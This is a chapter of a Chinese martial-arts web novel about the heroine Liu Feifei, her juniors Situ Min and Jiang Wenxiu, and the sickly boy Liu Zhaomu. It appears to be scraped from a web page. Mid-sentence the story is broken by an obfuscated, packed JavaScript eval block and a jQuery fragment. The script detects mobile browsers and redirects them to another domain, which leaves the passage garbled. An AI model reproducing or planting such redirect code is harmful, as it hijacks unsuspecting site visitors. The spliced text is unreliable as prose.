果如柳菲菲所说,饭刚做好了,司徒敏和蒋文修就回来了。
跟离开时的愤恨委屈不同,小丫头眯眼含笑的跟前跟后,师姐这师姐那的喊着。
“师姐,你就原谅我吧,父亲都已经骂了我了,我知道错了。”毕竟是才十四五岁的丫头,跳脱的很,一个时辰之前,还是一副恨得牙痒痒的模样,此时已经摈弃前嫌,极尽讨好卖乖。
柳菲菲端着盘子,避开她伸过来想帮忙的手,没理会她。
司徒敏笑容有了片刻的凝滞,不过心底的欢喜到底战胜了那点儿不快,转瞬又贴了上来,小心的求证,“父亲说,你要带我们去明年的武林大比,可是真的?”
柳菲菲对上她眼中的雀跃,想来今天不给她解了这份疑惑,到晚怕是都不得安宁。
老头子肯定也是受不了她这等烦扰,才将这事提前说了给她听,不过有一点老头子肯定没提,不然这丫头铁定不会这么快就回来。
她将盘子递给守在一旁的蒋文修,双手抱胸看向她,“师父就跟你说了我要带你去武林大比的事,没说别的?”
司徒敏柳眉一蹙,“没有啊。”
她心中有不好的直觉,脸上也开始露出些惶惶,“还有什么别的吗?”
看她这样,柳菲菲逗弄的心思更甚。
她露出些狡诈的笑容,将问题抛给她,“你猜?”
“好好想想,我这两天怎么就突然莫名其妙地盯着你练功了。”
司徒敏嘴快,“还不就是因为看我不顺眼吗?”
说完十分懊悔,怎么就将心里话给说了出来,但看柳菲菲不但没变脸,反似笑非笑的看着她。
她心里头一下子起了疑惑,不过略略想了想,就豁然开朗了。
那老家伙诓她呢,原来他才是罪魁祸首。
看她不回去将他那石头洞给闹得天翻地覆。
见她撸了袖子就要走,柳菲菲一把抓住她,“你干吗去?”
司徒敏气哼哼的回她,“我去找我爹。”
看来是真气的不轻,柳菲菲轻轻一斥,“胡闹。”
“你现在就算去了,就能见得着他吗?”
“还不如这段时间好好练练,等他回来考校你的时候,你再跟他算总账。”
“他要回来?”司徒敏一下子抓住重点。
老家伙一年四季跟苦行僧似的待在那山洞里,她都好久没见过他了。
“嗯。”柳菲菲点头,反正老头儿是这么跟她说的。
自打师母走了后,老头儿就搬进了悬空崖,头几年还隔三差五的下来一次,看看他们,最近这两年愣是连人影都没见到过一次,若非那银箱里时不时还会多出点银两,以及偶尔隔着洞门还能唠上两句嗑儿,他们都怀疑他人是不是还在了。
其实她也有点看不懂老头儿,若真对师母的死难以释怀,这份爱难道就不能转移转移,转移到他们唯一的女儿身上?
他们师兄妹三个,仿佛天生父母缘浅似的,她有父有母,却是一生下来就被扔了,到如今,那俩人是死是活,她都不知道。
蒋文修倒还有个亲母尚在人世,可却是个一听到丈夫惨死,就立马抛家弃子,回娘家继续过逍遥日子的薄情寡义之辈。
司徒敏呢,明明是他们之中算的上最幸运的一个,父亲知道是谁,也健在,人没跑,甚至偶尔还会施舍出那么一点点的关爱,不过这份关爱对司徒敏来说估摸着就是饮鸩止渴,吊的她难受,又舍不得放弃。
想想,还不如没有呢。
但是关于父爱这事,她毕竟不是司徒敏,也无法与她感同身受,她唯一能做的,就是尽可能的创造他们见面的机会。
老头儿答应她,除夕那日会下来跟他们一同守岁,顺便考校司徒敏的流云剑练得如何,但愿这次他能守诺。
看司徒敏眼中隐隐有了期盼,她既抛了鱼饵,那再上大招就显得容易多了。
她微微一笑道,“师父可是说了,他回来之前,你必须得突破到流云剑法第三层。”
“这也是你能顺利跟我下山的前提条件。”
“啊!”司徒敏一脸的期待瞬间化为泡沫。
这跟要她的命有什么差别。
蒋文修在一旁听了个全,见她如此,凑了上来,“别担心,我和师姐都会帮你的。”
司徒敏沮丧着脸,瞥了他一眼,不是不相信他,她是不相信自己。
跟他们相比,她是连武学的大门都没摸上,耗了四年尚且这样,几个月就能突破了,跟她这儿天方夜谭呢。
看她如此颓丧,柳菲菲也不好再说什么,吆喝着他们先去吃饭。
“走走走,别都挤在这儿了。”
“先吃饭,吃完了再想其他。”
应景儿似的,小丫头的肚子饿的咕咕叫。
司徒敏总算有了点少女的羞涩,难为情的低着头不敢看他们。
柳菲菲会心一笑,一早上站了个把时辰的桩,又来回跑了一趟后山,还在长身体的孩子,可不就得饿坏了。
“走,今儿做了你最爱的爆炒肺片,你待会儿多吃些。”
已经很久没有感受到她的这份偏爱了,司徒敏也不想打碎这难得的温情,挽着她的手臂乖巧点头。
“好,我最爱师姐了。”
然有人偏就见不得他们这般温情,一声低柔的“姐姐”瞬间将这份温情打破。
柳菲菲有些愧疚,他们三人聊得欢,却将他忘在了脑后。
她扯开司徒敏的手,朝他们道,“你们先吃,我去带他回屋。”
司徒敏怒了努嘴,表情有些不愿,不过好不容易才缓和的关系,她也不想就此打破,只能心不甘情不愿的往庭中走。
蒋文修看她都动了,也没再添事端,左右两人如今是姐弟关系,他放心不少。
······
此时日头正盛,柳朝暮依旧保持着她离开时的模样,额头上已经出了不少的汗。
“对不起。”柳菲菲立马感到十分的抱歉。
人身体都还虚着呢,她竟然就将他完全抛到了九霄云外。
此时一阵轻风吹来,她连忙矮身将他纳在了自己的保护范围里。
他身体都还没好全乎,如今满头大汗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464386|185456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,若再吹了风,受了寒,只怕小命真要呜呼哀哉了。
身上没帕子,她直接就用了袖子给他拭汗,边拭还边问,“你可有什么地方不舒服?”
“头疼不疼?”
柳朝暮摇摇头,笑容清浅,“不疼的,姐姐。”
“就是晒的有些头晕。”
“抱歉,抱歉。”柳菲菲瞬间感觉罪孽深重,动作更加小心,“我先抱你进去,等吃了饭,我再去给你熬一剂汤药预防预防。”
柳朝暮乖巧的点头,吐出的话语却让她心疼不已。
“姐姐不用跟我说抱歉,是我自己不好,明明可以喊姐姐的,可司徒姑娘好不容易跟姐姐和好了,我不想因为我,司徒姑娘跟姐姐之间再生嫌隙。”
柳菲菲连同毯子一起将他抱起,心里软的一塌糊涂,压了声轻斥道,“胡说,我与她之间怎的就会因为你而关系受影响了。”
“你也别多想,我早与你说过,敏敏她就是心直口快,心地不坏的。”
“你以后跟她多处处就知道了。”
“嗯,我都听姐姐的。”
两人的声音随着他们进了屋而消散在空中,屋外庭院中,司徒敏手中一双筷子“啪”的一下就断了,将蒋文修吓了一跳。
司徒敏心中的气不出不快活,冲着他就嚷道,“吃吃吃,你就知道吃。”
“你没听到那脏东西说什么啊,见过茶的,没见过这么茶的。”
蒋文修早见识过他的茶,是以,有些不以为然,“他说什么就随他说去呗,嘴长在他身上,你还能不让他说话了。”
听他这样说,司徒敏更气了。
“喂,你到底哪边的,你就任由他这般搬弄我和师姐的是非?”
蒋文修想了想,放下筷子,有些怀疑,“没这么严重吧。”
“再说我们跟师姐之间的感情岂是他三言两语就能挑拨的,你看师姐刚才不也替你说话了嘛。”
“而且你以后是得注意了,别再脏东西脏东西的叫了,师姐听到了又得生气,他既然做了师姐的弟弟,以后就是我们的家人了,就像师姐说的,你们试着好好相处相处。”
“谁跟他是家人了。”司徒敏被他气到不行,当场甩了脸子,“行了,吃你的饭吧。”
蒋文修刚要拿起筷子,司徒敏又狠狠地在桌下踢了他一脚,“一点眼力见儿没有,没看到我筷子断了吗,再去给我拿一双。”
蒋文修撇着嘴,起身去厨房给她换筷子。
最近这丫头跟吃了火药似的,别是月事快要来了吧。
柳菲菲进厨房时正好看到蒋文修垂头丧气的模样,不用猜也知道,一定是敏丫头又欺负他了。
她好心的拍了拍他的肩,劝说道,“你也莫要太让着那丫头,她如此脾气,再不收敛,以后如何嫁的出去。”
蒋文修抬了头,正好看到她眼中的促狭,当即就明白过来,她这是拿他寻开心呢。
他瘪瘪嘴,低声嘟囔道,“嫁不出去,我娶。”
柳菲菲自然是听见了,眯了眼笑。
行,一个愿打,一个愿挨,挺好的。